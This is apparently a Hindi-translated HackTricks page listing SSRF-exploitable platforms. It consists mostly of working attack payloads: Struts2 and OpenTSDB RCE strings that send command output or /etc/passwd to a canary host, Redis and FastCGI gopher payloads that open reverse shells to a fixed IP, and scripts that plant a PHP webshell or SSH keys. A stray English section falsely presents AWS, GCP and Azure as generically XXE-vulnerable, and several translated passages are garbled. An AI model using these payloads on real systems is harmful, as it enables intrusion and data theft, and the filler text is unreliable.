hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

39 KiB

SSRF विकल्पशील प्लेटफॉर्म

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

यह खंड https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ से कॉपी किया गया है

Elasticsearch

सामान्य रूप से बाउंड पोर्ट: 9200

जब Elasticsearch आंतरिक रूप से डिप्लॉय किया जाता है, तो यह आमतौर पर प्रमाणीकरण की आवश्यकता नहीं होती है।

यदि आपके पास एक आंधे SSRF है जहां आप स्थिति कोड निर्धारित कर सकते हैं, तो निम्नलिखित अंत-बिंदु के लिए देखें कि क्या 200 लौटता है:

/_cluster/health
/_cat/indices
/_cat/health

यदि आपके पास ब्लाइंड SSRF है जहां आप POST अनुरोध भेज सकते हैं, तो आप निम्नलिखित पथ पर POST अनुरोध भेजकर Elasticsearch इंस्टेंस को बंद कर सकते हैं:

नोट: _shutdown API को Elasticsearch संस्करण 2.x और ऊपर से हटा दिया गया है। यह केवल Elasticsearch 1.6 और नीचे में काम करता है:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

सामान्य रूप से बाउंड पोर्ट: 80, 443 (SSL), 7001, 8888

SSRF कैनरी: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

यह GET के माध्यम से भी काम करता है:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

यह एंडपॉइंट भी CRLF इंजेक्शन के लिए संकटग्रस्त है:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

निम्नलिखित अनुरोध में परिणामित होगा:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF कैनरी: CVE-2020-14883

यहां से लिया गया है.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

विंडोज:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

सामान्य रूप से बाउंड पोर्ट: 8500, 8501 (SSL)

यहां व्रिटअप मिल सकता है।

Shellshock

सामान्य रूप से बाउंड पोर्ट: 80, 443 (SSL), 8080

शेलशॉक की प्रभावी जांच के लिए, आपको पेलोड को समेत करने वाला हेडर जोड़ने की आवश्यकता हो सकती है। निम्नलिखित सीजीआई पथों की जांच करने योग्य हैं:

पाठों की संक्षेप में सूची:

पाठों को समेत करने वाला जिस्ट.

SSRF कैनारी: यूजर एजेंट के माध्यम से शेलशॉक

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

सामान्य रूप से बांधे गए पोर्ट: 80, 8080, 8888, 8082

यहां अपाचे ड्रुइड के लिए API संदर्भ देखें।

यदि आप स्थिति कोड देख सकते हैं, तो निम्नलिखित पथों की जांच करें कि क्या वे 200 स्थिति कोड लौटाते हैं:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

शटडाउन कार्य, आपको कार्य आईडी या डेटासोर्स का नाम अनुमान लगाने की आवश्यकता होती है:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

एपाचे ड्रुइड ओवरलॉर्ड पर शटडाउन सुपरवाइजर्स:

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

सामान्य रूप से बाउंड पोर्ट: 8983

SSRF कैनरी: शार्ड्स पैरामीटर

शुभम जो कह रहे हैं उसे जोड़ने के लिए - सॉलर के लिए स्कैनिंग अपेक्षाकृत आसान है। शार्ड्स= पैरामीटर है जो आपको सॉलर इंस्टेंस पर बिना जांचे एसएसआरएफ को बाउंस करने की अनुमति देता है।

— Хавиж नाफी 🥕 (@nnwakelam) 13 जनवरी 2021

यहां से लिया गया यहां

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

डेटा इंपोर्ट हैंडलर के माध्यम से RCE

डेटा इंपोर्ट हैंडलर के माध्यम से RCE पर अनुसंधान

PeopleSoft

सामान्य रूप से बांधे गए पोर्ट: 80,443 (SSL)

इस अनुसंधान से लिया गया है यहां.

SSRF कैनारी: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

SSRF Canary: XXE #2

Vulnerable Platforms

The following platforms are known to be vulnerable to Server-Side Request Forgery (SSRF) attacks using XML External Entity (XXE) injection:

  1. Workspace: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. By crafting a malicious XML file, an attacker can trigger SSRF vulnerabilities and potentially access internal resources.

  2. AWS EC2: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks through XXE injection. By exploiting XXE vulnerabilities in XML parsing libraries, an attacker can manipulate the XML input to trigger SSRF and potentially access sensitive information or perform unauthorized actions.

  3. GCP Compute Engine: Google Cloud Platform (GCP) Compute Engine instances can also be vulnerable to SSRF attacks via XXE injection. By injecting malicious XML payloads, an attacker can exploit XXE vulnerabilities in XML parsers and potentially gain unauthorized access to internal resources.

  4. Azure Virtual Machines: Microsoft Azure Virtual Machines are susceptible to SSRF attacks through XXE injection. By leveraging XXE vulnerabilities in XML parsing, an attacker can manipulate XML input to trigger SSRF and potentially access sensitive data or perform unauthorized actions.

Conclusion

These platforms are commonly used in cloud environments and can be targeted by attackers to exploit SSRF vulnerabilities using XXE injection. It is crucial for organizations to implement proper security measures, such as input validation and secure XML parsing, to mitigate the risk of SSRF attacks. Regular security assessments and penetration testing can help identify and address these vulnerabilities before they are exploited by malicious actors.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)

यहां से लिया गया है।

SSRF कैनारी: Struts2-016:

इसे आप जितने भी आंतरिक एंडपॉइंट/URL के अंत में जोड़ें:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)

यहाँ से लिया गया।

SSRF कैनरी: URL से WAR डिप्लॉय करें

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8443 (SSL)

SSRF कैनरी: शेयरलिंक्स (2016 नवंबर से पहले जारी की गई Confluence संस्करण)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

अटलासियन सुरक्षा टिकट OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

जीरा

सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8443 (SSL)

SSRF कैनारी: iconUriServlet - जीरा < 7.3.5 (CVE-2017-9506)

अटलासियन सुरक्षा टिकट OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

अटलासियन सुरक्षा टिकट JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

अन्य अटलासियन उत्पाद

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)

SSRF कैनरी: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

अटलासियन सुरक्षा टिकट OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

सामान्य रूप से बाउंड पोर्ट: 4242

OpenTSDB रिमोट कोड निष्पादन

SSRF कैनेरी: RCE के माध्यम से कर्ल

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 दूरस्थ कोड निष्पादन

SSRF कैनेरी: RCE के माध्यम से curl - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

जेंकिन्स

सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8888

यहां एक शानदार लेख है।

SSRF कैनरी: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

यहां दिए गए निर्देशों का पालन करें और GET के माध्यम से RCE प्राप्त करें: जेंकिन्स को हैक करना भाग 2 - अनअथेंटिकेटेड RCE के लिए मेटा प्रोग्रामिंग का दुरुपयोग!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

ग्रूवी के माध्यम से RCE

ग्रूवी एक जावा आधारित स्क्रिप्टिंग भाषा है जो जावा वर्चुअल मशीन (JVM) पर चलती है। यह एक शक्तिशाली और विस्तृत भाषा है जिसे विभिन्न वेब ऐप्लिकेशन और सर्वर पर उपयोग किया जा सकता है।

एक SSRF अधिकारी नियंत्रण विफलता के माध्यम से, हम ग्रूवी को उपयोग करके रिमोट कोड निष्पादित कर सकते हैं और इसके माध्यम से रिमोट कोड निष्पादित कर सकते हैं। इसके लिए, हमें ग्रूवी कोड को वेब ऐप्लिकेशन के एक अनुरोध में अंतर्निहित करना होगा। जब ग्रूवी कोड वेब ऐप्लिकेशन द्वारा निष्पादित होता है, तो यह वेब ऐप्लिकेशन के संदर्भ में चलता है और उसके अंतर्निहित संसाधनों तक पहुंच प्रदान करता है।

इस तकनीक का उपयोग करके, हम ग्रूवी कोड के माध्यम से वेब ऐप्लिकेशन के अंतर्निहित संसाधनों तक पहुंच प्राप्त कर सकते हैं और उन्हें अपनी इच्छानुसार उपयोग कर सकते हैं। इसके लिए, हमें ग्रूवी कोड को वेब ऐप्लिकेशन के एक अनुरोध में अंतर्निहित करना होगा और उसे वेब ऐप्लिकेशन द्वारा निष्पादित करना होगा। इस तरह, हम वेब ऐप्लिकेशन के संदर्भ में ग्रूवी कोड को निष्पादित करके उसके अंतर्निहित संसाधनों तक पहुंच प्राप्त कर सकते हैं।

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix डैशबोर्ड

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080

Spring Cloud Netflix, संस्करण 2.2.x से पहले 2.2.4, संस्करण 2.1.x से पहले 2.1.6.

SSRF कैनेरी: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

सामान्य रूप से बांधित पोर्ट: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF कैनारी: CVE-2019-6715

इसे एक PUT अनुरोध होना चाहिए:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF कैनेरी

इस दुर्भाग्यपूर्णता के लिए सूचना यहां जारी की गई थी: W3 Total Cache SSRF vulnerability

यह PHP कोड आपके SSRF कैनेरी होस्ट के लिए एक पेलोड उत्पन्न करेगा (अपने कैनेरी होस्ट के साथ url को बदलें):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

डॉकर

सामान्य रूप से बाउंड पोर्ट: 2375, 2376 (SSL)

यदि आपके पास एक आंधे SSRF है, तो आप निम्नलिखित पथों का उपयोग करके डॉकर की API की मौजूदगी की पुष्टि कर सकते हैं:

/containers/json
/secrets
/services

एक अनियमित डॉकर इमेज के माध्यम से RCE

एक अनियमित डॉकर इमेज के माध्यम से दूरस्थ संगणक पर नियंत्रण प्राप्त करने के लिए निम्नलिखित कदमों का पालन करें:

  1. उदाहरण के लिए, एक SSRF दुरुपयोग खोजें जो एक डॉकर इमेज को डाउनलोड और चलाने की क्षमता प्रदान करता है।
  2. एक SSRF अधिकारी खोजें जो आपको एक अनियमित URL का अनुरोध करने की अनुमति देता है।
  3. अपने अनुरोध में एक अनियमित डॉकर इमेज का URL दर्ज करें।
  4. अब, SSRF अधिकारी द्वारा डॉकर इमेज को डाउनलोड करेगा और उसे चलाएगा।
  5. जब डॉकर इमेज चल जाए, आपको दूरस्थ संगणक पर नियंत्रण प्राप्त हो जाएगा।

इस तकनीक का उपयोग करके, आप एक अनियमित डॉकर इमेज के माध्यम से RCE प्राप्त कर सकते हैं।

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

अल्पाइन को एक ऐसी छवि के साथ बदलें जिसे आप डॉकर कंटेनर चलाना चाहेंगे।

गिटलैब प्रोमेथियस रेडिस एक्सपोर्टर

सामान्य रूप से बाउंड पोर्ट: 9121

यह सुरक्षा दुर्बलता गिटलैब संस्करण 13.1.1 से पहले के इंस्टेंस पर प्रभावित करती है। गिटलैब दस्तावेज़ीकरण के अनुसार प्रोमेथियस और इसके एक्सपोर्टर डिफ़ॉल्ट रूप से चालू होते हैं, जो गिटलैब 9.0 से शुरू होते हैं।

ये एक्सपोर्टर एक हमलावर्ती के लिए एक उत्कृष्ट तरीका प्रदान करते हैं ताकि वह CVE-2020-13379 का उपयोग करके अन्य सेवाओं पर हमला कर सके। जिसमें से एक एक्सपोर्टर जिसे आसानी से शोषित किया जा सकता है, वह है रेडिस एक्सपोर्टर।

निम्नलिखित एंडपॉइंट हमलावर को यह संभव बनाता है कि उस रेडिस सर्वर में सभी कुंजी डंप कर सके जो लक्ष्य पैरामीटर के माध्यम से प्रदान किया गया है:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

गोफर के माध्यम से संभव

रेडिस

सामान्य रूप से बाउंड पोर्ट: 6379

अनुशंसित पठन:

क्रॉन के माध्यम से RCE - गोफर हमले के सतह

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE के माध्यम से शेल अपलोड (PHP) - रेडिस गेटशेल सारांश

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE के माध्यम से authorized_keys - Redis Getshell सारांश

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

Git प्रोटोकॉल के माध्यम से GitLab पर RCE

Liveoverflow की यहां से शानदार व्रिटअप यहां देखें।

यह उत्पन्न करने के लिए GitLab में प्रमाणित पहुंच की आवश्यकता होती है, हालांकि मैं यहां पेलोड शामिल कर रहा हूँ क्योंकि आपके हैकिंग के लक्ष्य पर git प्रोटोकॉल काम कर सकता है। यह पेलोड संदर्भ के लिए है।

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

मेमकैश

सामान्य रूप से बांधित पोर्ट: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)

Tomcat 6 के खिलाफ प्रभावी:

gopher-tomcat-deployer

इस तकनीक का उपयोग करके CTF लेख:

XXE से RCE तक: Pwn2Win CTF 2018 लेख

FastCGI

सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL)

यह यहां से लिया गया है।

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

जावा आरएमआई

सामान्य रूप से बाउंड पोर्ट: 1090,1098,1099,1199,4443-4446,8999-9010,9999

ब्लाइंड एसएसआरएफ सुरक्षा दुर्बलताओं का उपयोग करके अनियमित बाइट्स (गोफर आधारित) का उपयोग जावा आरएमआई के डिफ़ॉल्ट कंपोनेंट्स (आरएमआई रजिस्ट्री, वितरित कचरा संग्राहक, सक्रियण प्रणाली) पर डिसीरियलाइज़ेशन या कोडबेस हमलों को करने के लिए किया जा सकता है। एक विस्तृत लेख यहां मिल सकता है यहां। निम्नलिखित सूची में एक उदाहरण दिखाता है पेलोड जनरेशन के लिए:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥